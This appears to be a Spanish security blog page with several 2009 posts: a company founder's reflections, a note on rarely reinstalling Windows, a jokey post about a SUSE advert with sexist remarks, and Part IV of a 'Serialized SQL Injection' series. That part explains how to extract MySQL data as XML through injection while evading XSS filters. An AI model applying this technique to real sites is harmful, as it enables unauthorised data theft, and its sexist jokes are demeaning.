Más que una perdiz… No sé si lo sabíais, pero el del famoso cartel “will code for food” era yo con barba ;). Han sido años duros pero han merecido la pena, de verdad. Nos hemos montado una sociedad en la que tenemos que estar una tercera parte del tiempo (o más) en el curro. Es demasiado tiempo como para invertirlo en algo que no soportas. El desarrollo informático puede ser algo absolutamente maravilloso, o algo totalmente detestable.

Por eso recomiendo a todo el que se sienta con fuerzas que trate de seguir su propio camino (que no siempre tiene por qué ser montar una empresa) y que no se conforme con algo que no le gusta, por miedo a los fracasos. Hay que tener en cuenta que el éxito o el fracaso de un proyecto es algo muy relativo, y que a menudo depende del momento o la perspectiva con que se analiza. Si me hubieran preguntado hace 2 años si este proyecto estaba teniendo éxito, hubiera dicho que no. Si me lo preguntan ahora, tendría que decir que sí. ¿Qué pasará si me lo preguntan el año que viene? Ni idea. Ese es el mayor precio que se paga al fundar una empresa, la incertidumbre.

Una vez te acostumbras a eso, lo demás es genial.

martes, marzo 17, 2009

Install party

En esos momentos en los que tengo una subida de agobio por la cantidad de curro acumulado decido darme un respiro sin hacer nada. Esos momentos me ayudan a desengancharme puntualmente del bloqueo mental en que me pueda encontrar en un instante de tiempo. No estoy hablando de las desconexiones nocturnas, dónde he de leer obligatoriamente sobre algunos de esos personajes y esos mundos de la galaxia Lucas.

En los micromomentos de desconexión leo blogs y cosas, de esas sin importancia mayor, como supongo que venís muchos aquí, simplemente para ver que parida he puesto hoy: Si he montado un pollo, si he puesto algo decente o simplemente por el placer de confirmar que llevas razón, y soy como tú piensas.

En muchos de los posts que me encuentro por ahí veo las batallas que tenemos muchos técnicos con la instalación y desinstalación del sistema y me siento bastante poco identificado. Veo aventuras contando como la nueva distro se instala mejor, como se reinstala un sistema operativo u otro y como mejorar una nueva opción.

La verdad es que yo instalo una única vez mi portátil, y lo uso hasta el infinito y más allá. Si echo la vista atrás recuerdo que instalé un Windows XP SP2 en el Dell Inspiron 6400 que tuve entre el año 2005 y 2008. Ese sistema operativo estuvo desde el primer día hasta diciembre de 2006 en que cambió a Vista. De ahí hasta el 2 diciembre de 2008 en que murió sólo se instaló el SP1. El hardware murió víctima de infinitos viajes, infinitas presentaciones e infinitas caídas.

Antes de que muriera mi Portátil Windows XP Ready le hice una captura al monitor de confiabilidad de mi Windows Vista SP1 y como se puede ver, el sistema operativo vivió allí feliz.


Monitor de Confiabilidad de MI Windows Vista en DELL Windows XP Ready

Migré mi licencia de Vista al Ahtec que tengo ahora. Es un portátil de esos que se pueden comprar sin sistema operativo, de esos que nadie suele poder comprar excepto yo, y desde entonces sigue con el Vista SP1. Seguirá así hasta que migre a SP2 y Windows 7 en cuanto haya versión final.

Luego… en 4 años he tenido Windows XP SP2, Windows Vista y Windows SP1 y me da para muy pocos posts de reinstalando o instalando. Esto de usar el portátil con Windows para trabajar da muy poco glamour para posts de reinstalación.

Saludos Malignos!

lunes, marzo 16, 2009

¿Es Linux sólo para hombres?

Quiso el destino que mientras que jugaba este fin de semana con la web de Novell "buscando información", me picara la curisosidad para buscar el dominio http://www.suse.com y me llevara al anuncio que podéis ver.


Suse Linux

Si me pongo en plan "menistra" de igualdad o ley de diversidad americana, hay que calzarles a los creadores del anuncio un negativo. Sin embargo, si te paras a ver el anuncio en profundidad tiene "cierta mala uva", porque el mensaje que podría leerse es:

Linux es para hombres y nos interoperamos con las nenazas de Windows
(que tampoco es que esten para tirar cohetes....)


No es que la chica esté mal, sino que se vé a una legua que es una usuaria de Windows, porque va en playeras y con el pantalón remangado al estilo pesquero. Vamos, que no es una usuaria de Mac. ¡Uy si hubiera sido una de Mac! Pufff... La cosas hubiera sido muuuuuuuuy distinta, ¡Seguro! Si se hubiera intentado transmitir interoperatibilidad con una de Mac seguro que la señorita de la pestaña del menú ese no hubiera ido en playeras que parecen "Yumas" con pantalones anchos y remangados. No,no. Tampoco hubiera llevado ese peinado y la camiseta esa que resalta ...la chaqueta. Seguro que hubiera ...uff.. puuff.. bueno. ...seguro que sabes a lo que me refiero, ¿Verdad? Total, como sois hombretones de Linux o nenazas de Windows...

En fin, que me encontré con ese menú y no fui capaz de pinchar en ninguna opción más y tuve que volver a la sobriedad de mi Windows para "nenazas"....

Saludos Malignos!

domingo, marzo 15, 2009

Serialized SQL Injection (Parte IV de VI)

*************************************************************************************************
Serialized SQL Injection (Parte I de VI)
Serialized SQL Injection (Parte II de VI)
Serialized SQL Injection (Parte III de VI)
Serialized SQL Injection (Parte IV de VI)
Serialized SQL Injection (Parte V de VI)
Serialized SQL Injection (Parte VI de VI)
*************************************************************************************************

Serialized SQL Injection en MySQL

A pesar de que con este método se consigue el mismo objetivo que con For XML en Microsoft SQL Server, este sistema no permite el uso del operador comodín “*”. Es necesario por tanto averiguar primero las columnas de los campos de las tablas que se desean descargar. En motores con versiones 5 o 6 habrá que lanzar previamente una consulta al diccionario de datos o poner la consulta manualmente.

Palako desarrolló una sript en Perl que permite realizar cualquier consulta contra motores de MySQL. En este caso la herramienta simula la línea de comandos del cliente MySQL pero sin soporte para *.


MySQL Injector en Perl

Otra característica a tener en cuenta es que la instrucción Group_concat trunca el resultado al número de caracteres máximos fijados por la variable global “group_concat_max_len”. Dicha variable toma valor por defecto el valor 1024 que sería el límite máximo del documento XML que se puede devolver en cada consulta. Por supuesto esta variable puede modificarse pero sin superar el valor de la variable “max_allowed_packet” que por defecto está limitada a 16M.

Debido a que es necesario montar el XML manualmente en la misma cadena de inyección y teniendo en consideración que el ataque se va a realizar vía Web es necesario formatear adecuadamente la cadena para evitar la protección frente a ataques Cross-Site Scriting (XSS) que pueda tener el servidor web.

Como última consideración respecto a este método hay que tener presente que será necesario utilizar la función CASTR (column as char) en los campos a recupera para poder volcar los valores de aquellos campos binarios como secuencias de caracteres.
Resumiendo, para hacer este método hay que:

- Construir manualmente el árbol XML
- Codificarlo para evitar detecciones XSS
- Codificar valores binarios a char
- Como no hay soporte para * hay que consultar primero el diccionario de datos
- Tener en cuenta el tamaño máximo del documento

Por lo que es altamente recomendable automatizar este proceso con una pequeña herramienta que realice todas estas tareas. Palako se construyo una versión en COCOA para tener un interfaz cómodo. En este entorno, es suficiente en la cadena de inyección marcar con el patrón [SQL] dónde se tiene que inyectar la cadena que serialice la extracción de datos.


MySQL Injector versión COCOA en modo Browsing


MySQL Injector versión COCOA en modo sentencia SQL

*************************************************************************************************
Serialized SQL Injection (Parte I de VI)
Serialized SQL Injection (Parte II de VI)
Serialized SQL Injection (Parte III de VI)
Serialized SQL Injection (Parte IV de VI)
Serialized SQL Injection (Parte V de VI)
Serialized SQL Injection (Parte VI de VI)
*************************************************************************************************

Entradas populares